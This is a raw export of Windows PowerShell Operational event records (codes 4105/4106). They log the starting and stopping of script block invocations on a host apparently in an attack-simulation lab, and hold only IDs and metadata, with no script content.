RecordNumber=1477002
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477001
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477000
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476998
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476997
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476996
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476994
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476992
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476991
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476990
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476989
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476988
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476987
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476986
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476984
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476983
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476982
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476980
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476978
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476977
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476976
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476975
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476974
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476973
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476972
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476970
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476968
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476967
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476966
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476964
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476962
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476961
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476960
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476958
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476956
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476955
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476954
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476952
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476950
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476948
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476947
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
